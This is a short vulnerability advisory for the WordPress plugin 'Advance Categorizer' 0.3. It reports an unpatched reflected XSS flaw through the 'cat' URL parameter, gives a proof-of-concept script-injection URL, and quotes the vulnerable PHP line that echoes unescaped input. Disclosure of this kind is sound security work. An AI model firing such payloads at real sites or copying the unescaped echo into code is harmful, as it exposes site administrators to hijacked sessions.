Title: WordPress 'Advance Categorizer' Plugin 
Version: 0.3
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-24
Download: 
- https://wordpress.org/plugins/advance-categorizer/
- https://plugins.svn.wordpress.org/advance-categorizer/
Notified WordPress: 2015-06-24
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## Plugin description
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Allows you to add multiple categories using comma seperated text. You can also start via url "/wp-admin/post-new.php?cat=category1, category2, categor

## Reflected XSS vulnerabilities
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The plugin is vulnerable to reflected XSS, which allow an attacker to trick an admin into executing an arbitrary script in the admin panel.

PoC:
Log in as admin and visit this url: [URL]/wp-admin/post-new.php?cat=asdf"/><script>confirm(/Hackedihack/)</script>

Vulnerable code in file advance-categorizer.php:

L.61: ... value="<?=isset($_GET['cat'])?$_GET['cat']:(isset($_GET['categories'])?$_GET['categories']:'');?>" ...


## Solution
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No fix available

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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.